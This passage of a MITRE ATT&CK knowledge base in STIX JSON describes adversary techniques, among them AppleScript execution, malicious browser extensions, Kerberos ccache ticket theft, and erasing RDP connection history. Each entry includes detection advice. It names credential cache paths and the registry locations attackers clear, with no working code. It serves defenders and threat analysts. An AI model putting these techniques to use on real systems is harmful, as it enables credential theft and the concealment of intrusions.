March 28, 2022.","url":"http://woshub.com/how-to-allow-multiple-rdp-sessions-in-windows-10/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T14:18:20.087Z","name":"AppleScript","description":"Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call osascript to execute. However, they may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s NSAppleScript or OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_contributors":["Phil Stokes, SentinelOne"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for execution of AppleScript through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["macOS"],"x_mitre_version":"1.2","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Process: OS API Execution"],"x_mitre_remote_support":false,"type":"attack-pattern","id":"attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb","created":"2020-03-09T14:07:54.329Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1059/002","external_id":"T1059.002"},{"source_name":"Apple AppleScript","description":"Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020.","url":"https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html"},{"source_name":"SentinelOne macOS Red Team","description":"Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.","url":"https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/"},{"source_name":"SentinelOne AppleScript","description":"Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020.","url":"https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/"},{"source_name":"Macro Malware Targets Macs","description":"Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T19:48:15.871Z","name":"Browser Extensions","description":"Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.\n\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Chris Ross @xorrior","Justin Warner, ICEBRG","Manikantan Srinivasan, NEC Corporation India"],"x_mitre_deprecated":false,"x_mitre_detection":"Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nOn macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.3","x_mitre_data_sources":["Windows Registry: Windows Registry Key Creation","Process: Process Creation","Command: Command Execution","File: File Creation","Network Traffic: Network Connection Creation"],"type":"attack-pattern","id":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1176","external_id":"T1176"},{"source_name":"Chrome Extension Crypto Miner","description":"Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.","url":"https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/"},{"source_name":"xorrior chrome extensions macOS","description":"Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.","url":"https://www.xorrior.com/No-Place-Like-Chrome/"},{"source_name":"Chrome Extensions Definition","description":"Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.","url":"https://developer.chrome.com/extensions"},{"source_name":"ICEBRG Chrome Extensions","description":"De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.","url":"https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"},{"source_name":"Malicious Chrome Extension Numbers","description":"Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.","url":"https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf"},{"source_name":"Chrome Extension C2 Malware","description":"Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/"},{"source_name":"Catch All Chrome Extension","description":"Marinho, R. (n.d.). \"Catch-All\" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.","url":"https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)"},{"source_name":"Banker Google Chrome Extension Steals Creds","description":"Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.","url":"https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/"},{"source_name":"Browser Adrozek","description":"Microsoft Threat Intelligence. (2020, December 10). Widespread malware campaign seeks to silently inject ads into search results, affects multiple browsers. Retrieved February 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2020/12/10/widespread-malware-campaign-seeks-to-silently-inject-ads-into-search-results-affects-multiple-browsers/"},{"source_name":"Browers FriarFox","description":"Raggi, Michael. Proofpoint Threat Research Team. (2021, February 25). TA413 Leverages New FriarFox Browser Extension to Target the Gmail Accounts of Global Tibetan Organizations. Retrieved February 26, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global"},{"source_name":"Stantinko Botnet","description":"Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.","url":"https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/"},{"source_name":"Wikipedia Browser Extension","description":"Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.","url":"https://en.wikipedia.org/wiki/Browser_extension"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:05:48.014Z","name":"Service Exhaustion Flood","description":"Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_deprecated":false,"x_mitre_detection":"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","IaaS","Linux","macOS"],"x_mitre_version":"1.4","x_mitre_data_sources":["Application Log: Application Log Content","Sensor Health: Host Status","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858","created":"2020-02-20T15:31:43.613Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1499/002","external_id":"T1499.002"},{"source_name":"Arbor SSLDoS April 2012","description":"ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019.","url":"https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new"},{"source_name":"Cisco DoSdetectNetflow","description":"Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"},{"source_name":"Cloudflare HTTPflood","description":"Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019.","url":"https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/"},{"source_name":"Arbor AnnualDoSreport Jan 2018","description":"Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.","url":"https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef","created":"2020-03-11T14:28:40.064Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1195.003","url":"https://attack.mitre.org/techniques/T1195/003"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.","modified":"2022-04-28T16:05:10.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Compromise Hardware Supply Chain","x_mitre_detection":"Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Sensor Health: Host Status"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T15:25:57.058Z","name":"Native API","description":"Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\n\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_contributors":["Gordon Long, Box, Inc., @ethicalhax","Stefan Kanthak","Tristan Madani (Cybereason)"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \n\nUtilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_version":"2.2","x_mitre_data_sources":["Process: OS API Execution","Module: Module Load"],"x_mitre_remote_support":false,"type":"attack-pattern","id":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","created":"2017-05-31T21:31:17.472Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1106","external_id":"T1106"},{"source_name":"MACOS Cocoa","description":"Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.","url":"https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1"},{"source_name":"Apple Core Services","description":"Apple. (n.d.). Core Services. Retrieved June 25, 2020.","url":"https://developer.apple.com/documentation/coreservices"},{"source_name":"macOS Foundation","description":"Apple. (n.d.). Foundation. Retrieved July 1, 2020.","url":"https://developer.apple.com/documentation/foundation"},{"source_name":"OutFlank System Calls","description":"de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.","url":"https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/"},{"source_name":"Redops Syscalls","description":"Feichter, D. (2023, June 30). Direct Syscalls vs Indirect Syscalls. Retrieved September 27, 2023.","url":"https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls"},{"source_name":"GNU Fork","description":"Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.","url":"https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html"},{"source_name":"CyberBit System Calls","description":"Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021.","url":"https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/"},{"source_name":"GLIBC","description":"glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020.","url":"https://www.gnu.org/software/libc/"},{"source_name":"LIBC","description":"Kerrisk, M. (2016, December 12). libc(7) — Linux manual page. Retrieved June 25, 2020.","url":"https://man7.org/linux/man-pages//man7/libc.7.html"},{"source_name":"Linux Kernel API","description":"Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020.","url":"https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html"},{"source_name":"MDSec System Calls","description":"MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.","url":"https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/"},{"source_name":"Microsoft CreateProcess","description":"Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"},{"source_name":"Microsoft Win32","description":"Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.","url":"https://docs.microsoft.com/en-us/windows/win32/api/"},{"source_name":"Microsoft NET","description":"Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.","url":"https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework"},{"source_name":"NT API Windows","description":"The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020.","url":"https://undocumented.ntinternals.net/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T21:26:37.856Z","name":"Ccache Files","description":"\nAdversaries may attempt to steal Kerberos tickets stored in credential cache files (or ccache). These files are used for short term storage of a user's active session credentials. The ccache file is created upon user authentication and allows for access to multiple services without the user having to re-enter credentials. \n\nThe /etc/krb5.conf configuration file and the KRB5CCNAME environment variable are used to set the storage location for ccache entries. On Linux, credentials are typically stored in the `/tmp` directory with a naming format of `krb5cc_%UID%` or `krb5.ccache`. On macOS, ccache entries are stored by default in memory with an `API:{uuid}` naming scheme. Typically, users interact with ticket storage using kinit, which obtains a Ticket-Granting-Ticket (TGT) for the principal; klist, which lists obtained tickets currently held in the credentials cache; and other built-in binaries.(Citation: Kerberos GNU/Linux)(Citation: Binary Defense Kerberos Linux)\n\nAdversaries can collect tickets from ccache files stored on disk and authenticate as the current user without their password to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks. Adversaries can also use these tickets to impersonate legitimate users with elevated privileges to perform [Privilege Escalation](https://attack.mitre.org/tactics/TA0004). Tools like Kekeo can also be used by adversaries to convert ccache files to Windows format for further [Lateral Movement](https://attack.mitre.org/tactics/TA0008). On macOS, adversaries may use open-source tools or the Kerberos framework to interact with ccache files and extract TGTs or Service Tickets via lower-level APIs.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS"],"x_mitre_version":"1.0","x_mitre_data_sources":["File: File Access"],"type":"attack-pattern","id":"attack-pattern--394220d9-8efc-4252-9040-664f7b115be6","created":"2024-09-17T15:02:31.324Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1558/005","external_id":"T1558.005"},{"source_name":"Binary Defense Kerberos Linux","description":" ARC Labs, Dwyer, John. Gonzalez, Eric. Hudak, Tyler. (2024, October 1). Shining a Light in the Dark – How Binary Defense Uncovered an APT Lurking in Shadows of IT. Retrieved October 7, 2024.","url":"https://www.binarydefense.com/resources/blog/shining-a-light-in-the-dark-how-binary-defense-uncovered-an-apt-lurking-in-shadows-of-it/"},{"source_name":"Kerberos GNU/Linux","description":"Adepts of 0xCC. (2021, January 28). The Kerberos Credential Thievery Compendium (GNU/Linux). Retrieved September 17, 2024.","url":"https://adepts.of0x.cc/kerberos-thievery-linux/"},{"source_name":"Kekeo","description":"Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021.","url":"https://github.com/gentilkiwi/kekeo"},{"source_name":"SpectorOps Bifrost Kerberos macOS 2019","description":"Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021.","url":"https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f"},{"source_name":"Brining MimiKatz to Unix","description":"Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.","url":"https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"},{"source_name":"Linux Kerberos Tickets","description":"Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-08T18:05:28.311Z","name":"Clear Network Connection History and Configurations","description":"Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\n\nNetwork connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\n\nWindows may also store information about recent RDP connections in files such as C:\\Users\\\\%username%\\Documents\\Default.rdp and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["CrowdStrike Falcon OverWatch"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.1","x_mitre_data_sources":["Process: Process Creation","Windows Registry: Windows Registry Key Modification","Command: Command Execution","Firewall: Firewall Rule Modification","File: File Modification"],"type":"attack-pattern","id":"attack-pattern--3975dbb5-0e1e-4f5b-bae1-cf2ab84b46dc","created":"2022-06-15T18:00:04.219Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1070/007","external_id":"T1070.007"},{"source_name":"FreeDesktop Journal","description":"freedesktop.org. (n.d.). systemd-journald.service. Retrieved June 15, 2022.","url":"https://www.freedesktop.org/software/systemd/man/systemd-journald.service.html"},{"source_name":"Microsoft RDP Removal","description":"Microsoft. (2021, September 24). How to remove entries from the Remote Desktop Connection Computer box. Retrieved June 15, 2022.","url":"https://docs.microsoft.com/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer"},{"source_name":"Moran RDPieces","description":"Moran, B. (2020, November 18). Putting Together the RDPieces. Retrieved October 17, 2022.","url":"https://www.osdfcon.org/presentations/2020/Brian-Moran_Putting-Together-the-RDPieces.pdf"},{"source_name":"Apple Culprit Access","description":"rjben. (2012, May 30). How do you find the culprit when unauthorized access to a computer is a problem?. Retrieved August 3, 2022.","url":"https://discussions.apple.com/thread/3991574"},{"source_name":"Apple Unified Log Analysis Remote Login and Screen Sharing","description":"Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 